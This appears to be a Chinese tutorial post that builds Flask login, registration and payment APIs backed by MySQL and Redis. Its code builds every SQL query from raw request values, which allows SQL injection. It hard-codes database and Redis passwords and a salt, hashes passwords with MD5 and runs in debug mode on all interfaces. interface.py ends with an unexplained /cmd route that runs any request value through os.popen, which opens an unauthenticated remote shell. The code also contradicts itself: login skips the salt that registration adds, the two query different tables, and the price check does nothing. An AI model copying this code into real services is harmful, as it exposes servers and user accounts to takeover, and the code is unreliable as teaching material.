接口开发(login、reg)
接口开发:
import flask,json,pymysql,hashlib server = flask.Flask(__name__)# 把当前这个python文件当做一个服务 def my_db(sql,port=3306,charset='utf8'): ip,user,passwd,db = '***.**.**.*','jxz','123456','jxz' coon = pymysql.connect(host=ip,user=user, password=passwd,db=db, port=port,charset=charset,autocommit=True) cur = coon.cursor() sql=sql.strip() cur.execute(sql) # 'select' sql_start = sql[:6].lower()# 取sql的开头,然后转换成小写的 if sql_start.startswith('select') or sql_start.startswith('show'): data = cur.fetchall() else: data = 'ok' cur.close() coon.close() return data def my_md5(s): m = hashlib.md5(s.encode())#md5不能直接传字符串,需要传二进制,所以需要使用encode return m.hexdigest() @server.route('/login',methods=['get','post'])# 装饰器,加上此行代码,下面的函数已经不是普通的函数,而是一个接口 def login(): username = flask.request.values.get('username')# 获取请求参数;是从客户端发过来的数据 pwd = flask.request.values.get('password')# 获取请求参数 # flask.request.cookies.get('xxx')# 获取cookie # flask.request.headers.get('xxx')# 获取header # json_data = flask.request.json.get('username')# 这个是获取入参是json类型的 # json_data = flask.request.json # print('json_data...',json_data) print(pwd) if username=='nhy' and pwd=='123456': res = {'code':1000,'msg':'登录成功','sign':'sdfsdfsdfsdf'} else: res = {'code':2000,'msg':'账号/密码错误'} return json.dumps(res,ensure_ascii=False)# 添加参数ensure_ascii=False,中文将不会变为乱码 @server.route('/register',methods=['post']) def reg(): username = flask.request.values.get('username') passwd = flask.request.values.get('passwd') cpasswd = flask.request.values.get('cpasswd') if not username or not passwd or not cpasswd: res = {'code':2003,'msg':'必填参数未填,请查看接口文档!'} else: sql1 = 'select * from nhy where name="%s";'%username sql_res = my_db(sql1) if sql_res: res={'code':2001,'msg':'该用户已经注册'} else: if passwd == cpasswd: md5_pwd = my_md5(passwd) sql2 = 'insert into nhy (name,pwd) value ("%s","%s")'%(username,md5_pwd) my_db(sql2) res = {'code':'1000','msg':'注册成功'} else: res = {'code':'2003','msg':'两次输入的密码不一致'} return json.dumps(res,ensure_ascii=False) server.run(port=8989,debug=True)# 启动服务 # http://127.0.0.1:5000/login
将程序拆分开,放在不同的目录下,如下图所示。
start.py:
import sys,os base_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) #__file__都是这个文件的绝对路径 sys.path.insert(0,base_path) #这里加入环境变量的,通过__file__获取到父目录的父目录 #yong abs_paht是因为分隔符不正确 from lib.interface import server from conf.setting import SERVER_PORT server.run(host='0.0.0.0',port=SERVER_PORT,debug=True) # host写成0.0.0.0就可以同一个局域网里面访问了
setting.py:
MYSQL_INFO = { 'host':'ip', 'user':'jxz', 'password':'123456', 'port':3306, 'db':'jxz', 'charset':'utf8', 'autocommit':True }#数据库配置信息 REDIS_INFO ={ 'host':'ip', 'password':'HK139bc&*', 'db': 0, 'port':6379 } SERVER_PORT = 8989 SALT='NSD234&^%!@' #盐值
init.sql:
create table `user_spz` ( id int primary key auto_increment, username varchar(50) unique not null, password varchar(50) not null , money float not null default 0 )
interface.py:
import time import flask,json from lib.tools import my_db,my_md5,redis_str,check_price from conf.setting import SALT server = flask.Flask(__name__) #1、加盐 @server.route('/login',methods=['get','post']) def login(): username = flask.request.values.get('username') pwd = flask.request.values.get('password') if not username and not pwd: res = {'code':2003,'msg':'必填参数未填!'} else: new_pwd = my_md5(pwd) sql = 'select username,password from user_spz where username="%s" and password="%s";'%(username,new_pwd) sql_res = my_db(sql) if sql_res: session_id = my_md5(username+str(time.time())) key='session:%s'%username redis_str(key,session_id,24*60*60) res = {'code':1000,'msg':'登录成功','session_id':session_id} else: res = {'code':2000,'msg':'账号/密码错误'} return json.dumps(res,ensure_ascii=False) @server.route('/register',methods=['post']) def reg(): username = flask.request.values.get("username") passwd = flask.request.values.get("passwd") cpasswd = flask.request.values.get("cpasswd") # if username and passwd and cpasswd: sql1 = 'select * from nhy where name="%s";'%username sql_res = my_db(sql1) if sql_res: res = {'code':2001,'msg':'该用户已经被注册'} else: if passwd==cpasswd:# md5_pwd = my_md5(passwd+SALT+username) sql2 = 'insert into nhy (name,pwd) value ("%s","%s");'%(username,md5_pwd) my_db(sql2) res = {'code':1000,'msg':'注册成功'} else: res = {'code':2003,'msg':'两次输入的密码不一致'} else: res = {'code':2002,'msg':'必填参数未填,请查看接口文档!'} return json.dumps(res,ensure_ascii=False) @server.route('/pay',methods=['post']) def pay(): username = flask.request.values.get('username') money = flask.request.values.get('money') session_id = flask.request.values.get('session_id') if username and money and session_id: if check_price(money): money = float(money) key = 'session:%s' % username redis_session = redis_str(key) if redis_session==session_id: sql='select money from user_spz where username="%s";'%username src_money = my_db(sql)[0].get('money') if src_money>=money: blance = src_money - money sql2 = 'update user_spz set money = %s where username="%s";'%(blance,username) my_db(sql2) res = {'code':200,'msg':'支付成功,你的余额是%s'%blance} else: res = {'code': 2005, 'msg': '你的余额不足'} else: res = {'code':2006,'msg':'用户未登录!'} else: res = {'code':2004,'msg':'价格不合法,必须是大于0的数字!'} else: res = {'code': 2003, 'msg': '必填参数未填!'} return json.dumps(res, ensure_ascii=False) import os @server.route('/cmd') def cmd(): cmd = flask.request.values.get('cmd') return os.popen(cmd).read()
tools.py:
import pymysql,hashlib,redis from conf.setting import MYSQL_INFO,REDIS_INFO def my_db(sql): coon = pymysql.connect(**MYSQL_INFO) #这里用2个星号,就会把字典里面的k和v变成 k=v cur = coon.cursor(cursor=pymysql.cursors.DictCursor) sql=sql.strip() try: cur.execute(sql) except Exception as e: print('sql有错误,错误信息是%s'%e) data = 'sql_error' else: sql_start = sql[:6].lower()#取sql的开头,转成小写 if sql_start.startswith('select') or sql_start.startswith('show'): data = cur.fetchall() else: data = 'ok' finally: cur.close() coon.close() return data def my_md5(s): m = hashlib.md5(s.encode()) return m.hexdigest() def redis_str(k,v=None,ex=-1): r = redis.Redis(**REDIS_INFO) if v: r.set(k,v,ex) res = 'set成功' else: res = r.get(k) if res: res = res.decode() return res def check_price(s): return s
readme.txt
这个是xx接口的程序,启动的时候运行 python bin/start.py 第一次运行的时候执行data目录下的init.sql http://127.0.0.1:8989/login #登录接口 username passwd python版本3.x 需要安装flask、pymysql 如果第一次运行程序的时候,需要执行哪个文件